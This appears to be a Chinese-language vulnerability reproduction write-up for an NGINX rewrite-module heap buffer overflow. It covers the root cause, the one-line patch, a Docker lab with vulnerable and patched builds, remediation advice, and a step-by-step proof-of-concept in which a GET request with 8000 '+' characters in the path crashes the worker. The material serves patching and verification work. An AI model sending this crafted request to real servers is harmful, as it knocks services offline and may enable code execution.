跳转至

CVE-2026-42945 — NGINX rewrite 堆缓冲区溢出(CWE-122)

严重级别

CVSS v4.0: 9.2 CRITICAL · CVSS v3.1: 8.1 HIGH · 未认证远程攻击者,单个 HTTP 请求即可触发。

字段 详情
项目 NGINX
受影响组件 HTTP rewrite 模块(src/http/ngx_http_script.c);Open Source 与 NGINX Plus
严重级别 HIGH
CVSS v4.0 9.2 CRITICAL (AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
CVSS v3.1 8.1 HIGH (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE CWE-122(基于堆的缓冲区溢出)
受影响版本 Open Source 0.6.27 – 1.30.0;NGINX Plus R32 – R36
修复版本 Open Source 1.31.0 或 1.30.1;NGINX Plus R36 P4、R35 P2、R32 P6
修复日期 2026-05-13

1. 漏洞概述

NGINX 的 HTTP rewrite 模块存在一个堆缓冲区溢出漏洞,未经认证的远程攻击者发送一个构造好的 HTTP 请求即可触发。在禁用 ASLR 的系统上,该溢出可达成完整的远程代码执行;在其他系统上,它能稳定地使 NGINX worker 进程崩溃。该漏洞自 NGINX 0.6.27(2008 年)起就存在,已在 2026-05-13 发布的 NGINX 1.31.0 / 1.30.1 中修复。

根本原因

文件: src/http/ngx_http_script.c
函数: ngx_http_script_regex_end_code()
补丁提交: 2046b45aa0c6e712c216b9075886f3f26e9b4ca9

NGINX 的 rewrite 引擎通过两个阶段来构建替换后的 URI。第一阶段是长度计算阶段,计算结果所需的字节数;第二阶段是复制阶段,将最终字节写入一个按该大小在堆上分配的缓冲区。

长度计算阶段使用一个临时子引擎(le),其 is_args 标志初始为零。由于 le.is_args = 0,函数 ngx_http_script_copy_capture_len_code() 统计的是每个 PCRE 捕获组的原始(未编码)字节数,每个源字节计为一个字节。

复制阶段在主引擎(e)上运行。如果 rewrite 替换字符串中包含 ?ngx_http_script_start_args_code() 会将 e->is_args 置为 1,表示后续内容为查询字符串。问题在于,这个标志在复制阶段处理后续指令之前从未被清零。当 setrewriteif 指令随后将捕获变量(如 $1)复制到缓冲区时,ngx_http_script_copy_capture_code() 看到 is_args = 1,便调用 ngx_escape_uri(..., NGX_ESCAPE_ARGS) 对每个 URI 不安全字节做百分号编码,将其扩展为 %XX(三个字节)。缓冲区却只按原始字节数分配,于是复制操作溢出缓冲区,溢出量最多为 2 × N 字节,其中 N 是捕获内容中可被编码的字节数。

最简触发配置如下:

location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # 设置 e->is_args = 1
    set $original_endpoint $1;                    # 复制阶段在此发生溢出
}

该修复仅在 ngx_http_script_regex_end_code() 开头添加了一行代码:

--- a/src/http/ngx_http_script.c
+++ b/src/http/ngx_http_script.c
@@ -1202,6 +1202,7 @@ ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)

     r = e->request;

+    e->is_args = 0;
     e->quote = 0;

     ngx_log_debug0(NGX_LOG_DEBUG_HTTP, r->connection->log, 0,

它在每次 rewrite 替换处理结束时把 e->is_args 重置为零,让后续指令的长度计算阶段和复制阶段从相同的基准状态出发,不再出现意外的 URI 编码膨胀和随之而来的大小不匹配。


2. 漏洞环境

复现环境是一个 Docker Compose 栈,借助构建参数从同一份 Dockerfile 构建两个 NGINX 容器。两者都从上游 NGINX 源码编译,并启用了 AddressSanitizer(-fsanitize=address -fno-omit-frame-pointer -g -O1),这样任何堆溢出都会生成带符号信息的回溯,直接指向出问题的函数。

容器 角色 端口
cve-2026-42945-nginx 存在漏洞的 NGINX 1.30.0(攻击目标) 127.0.0.1:19321 → 80
cve-2026-42945-nginx-patched 已修复的 NGINX 1.30.1(鉴别器) 127.0.0.1:19322 → 80

两个容器均以 root 身份运行 NGINX master 进程(PID 1);worker 进程降权至非特权用户 nobody:nogroup。漏洞容器固定使用 NGINX 1.30.0 提交 6e14e954aaacce9a433d9b07b4653809c7594ab8;已修复容器使用 1.30.1 提交 9a503b1317c283e1fd0f27008428ea441c1ac9ee

环境文件可通过 env.zip 下载。单个文件:env/Dockerfileenv/docker-compose.ymlenv/config/nginx.confenv/config/entrypoint.sh

启动环境:

docker compose -f env/docker-compose.yml up --build -d

确认运行的是存在漏洞的版本,且双指令配置已就绪:

# 两个健康检查端点均应返回 "alive"
curl -fsS http://127.0.0.1:19321/healthz
curl -fsS http://127.0.0.1:19322/healthz

# 确认容器和进程状态
docker compose -f env/docker-compose.yml ps
docker exec cve-2026-42945-nginx ps -eo pid,user,args | grep 'worker process'

# 确认无预存的 ASan 报告(干净基线)
docker exec cve-2026-42945-nginx sh -c 'ls /tmp/asan.log* 2>/dev/null || echo "clean: no asan reports"'
docker exec cve-2026-42945-nginx grep -c "exited on signal" /usr/local/nginx/logs/error.log

在干净基线上,后两条命令应分别输出 clean: no asan reports0

nginx.conf 中包含触发位置块 ~ ^/api/(.*)$,其中有 rewrite ... /internal?migrated=true; 指令,后跟 set $original_endpoint $1;。AddressSanitizer 配置了 ASAN_OPTIONS log_path=/tmp/asan.log,让以 nobody 身份运行的 worker 进程能把崩溃报告写入全局可写的 /tmp 目录。entrypoint.sh 在每次容器启动时截断错误日志并删除所有已有的 /tmp/asan.log.* 文件,于是每次重启都从干净的基线开始。


3. 如何利用

利用程序向 ~ ^/api/(.*)$ 位置块发送单个未经认证的 HTTP GET 请求,捕获载荷全部由 + 字符组成。+ 是 URI 不安全字符,会被百分号编码为 %2B(三个字节)。发送 8000 个 + 后,复制阶段试图把 24000 字节(8000 × 3)写入一个 8000 字节的堆缓冲区,溢出 16000 字节,worker 随即崩溃。

利用文件可通过 exploit.zip 下载。单个文件:exploit/run.sh

步骤

第一步: 确认环境正在运行,且基线 worker 处于存活状态。

curl -s http://127.0.0.1:19321/healthz

预期输出:alive。记录当前 worker 的 PID:

docker exec cve-2026-42945-nginx ps -eo pid,user,args | grep 'worker process'

第二步: 运行利用脚本。

bash exploit/run.sh http://127.0.0.1:19321 8000

该脚本使用 --path-as-is 选项发出 GET /api/<8000 '+'> 请求,使 + 字符原样到达服务器。预期客户端输出:

[*] Target:  http://127.0.0.1:19321/api/<8000 '+'>
[*] Sending single crafted request...
curl: (52) Empty reply from server
[*] http_code=000 curl_exit_pending
[*] curl exit code: 52

连接重置(curl: (52)http_code=000)与 worker 在请求处理中途崩溃的表现一致。但这只是客户端的观测,不能当作证明,证明要到服务端独立读取。

第三步: 从服务端验证崩溃。

读取 NGINX master 日志,确认 worker 被信号 6(SIGABRT,由 AddressSanitizer 触发)杀死:

docker exec cve-2026-42945-nginx grep 'exited on signal' /usr/local/nginx/logs/error.log

预期输出:

2026/06/03 02:58:00 [alert] 1#0: worker process 17 exited on signal 6

确认新 worker 已替换崩溃的 worker(在已验证的运行中 PID 从 17 变为 61):

docker exec cve-2026-42945-nginx ps -eo pid,user,args | grep 'worker process'

读取崩溃 worker 写入的 AddressSanitizer 堆缓冲区溢出报告:

docker exec cve-2026-42945-nginx sh -c 'cat /tmp/asan.log.* 2>/dev/null'

已验证运行中的报告显示:

==17==ERROR: AddressSanitizer: heap-buffer-overflow ... WRITE of size 1
    #0 ngx_escape_uri src/core/ngx_string.c:1689
    #1 ngx_http_script_copy_capture_code src/http/ngx_http_script.c:1399
    #2 ngx_http_rewrite_handler src/http/modules/ngx_http_rewrite_module.c:180
...
0xffff9d607040 is located 0 bytes to the right of 8000-byte region
allocated by ... ngx_http_script_complex_value_code src/http/ngx_http_script.c:1778

回溯帧 #1 ngx_http_script_copy_capture_code#0 ngx_escape_uri 正是 e->is_args = 0 补丁所修复的代码路径。报告里溢出的堆区域为 8000 字节,恰好等于原始 + 捕获的大小,证实了长度计算阶段与复制阶段之间的大小不匹配。

上述证据由 NGINX worker 进程内部的 AddressSanitizer 插桩独立产生,与利用脚本无关。利用脚本只用 curl 发送一个 HTTP 请求,它不读取 /tmp/asan.log.*,也不执行 docker exec,无从伪造 ASan 报告或 master 日志中的信号 6 退出记录。

第四步: 对已修复的鉴别器运行相同的利用程序,以确认归因。

bash exploit/run.sh http://127.0.0.1:19322 8000

预期:HTTP 200、curl 退出码为 0、worker PID 不变、无 ASan 报告、错误日志中无信号退出记录。已验证的运行确认了以上全部四项。同一个请求能击垮 1.30.0,对 1.30.1 却毫发无伤,这就把崩溃明确归因于该漏洞,而不是泛泛的大请求行为。

环境清理

完成后,停止并移除环境:

docker compose -f env/docker-compose.yml down -v

4. 安全建议

修复方案

立即升级。 单行修复(在 ngx_http_script_regex_end_code() 中添加 e->is_args = 0;)已包含在:

  • NGINX Open Source 1.31.0(主线版)或 1.30.1(稳定版)——发布日期:2026-05-13
  • NGINX Plus R36 P4、R35 P2、R32 P6

只要配置中存在包含 ? 的 rewrite 替换字符串,且同一 location 块中后跟使用未命名捕获变量的 set/rewrite/if 指令,所有 NGINX Open Source 0.6.27 至 1.30.0 的安装、以及未包含补丁发行版的 NGINX Plus R32 至 R36,都存在该漏洞。

缓解措施与变通方案

如果无法立即升级:

  • 审查 rewrite 指令。 找出替换字符串中带 ?rewrite 指令所在的 location 块,并检查其后是否跟有引用未命名捕获($1$2 等)的 set/rewrite/if 指令。重构这类块以消除未命名捕获加 ? 的组合,或重新设计 rewrite 逻辑,避开两阶段大小不匹配。
  • 命名捕获不受影响。 溢出只通过未命名的 PCRE 捕获($1$2)触发。把未命名捕获改成命名捕获(例如 (?P<name>...)$name)即可绕开复制阶段中的脆弱代码路径。
  • 网络层过滤。 在 WAF 或上游代理处阻断或清理 URI 载荷能降低可利用性,但对内存损坏漏洞来说并不是可靠的缓解手段,升级才是正解。

参考资料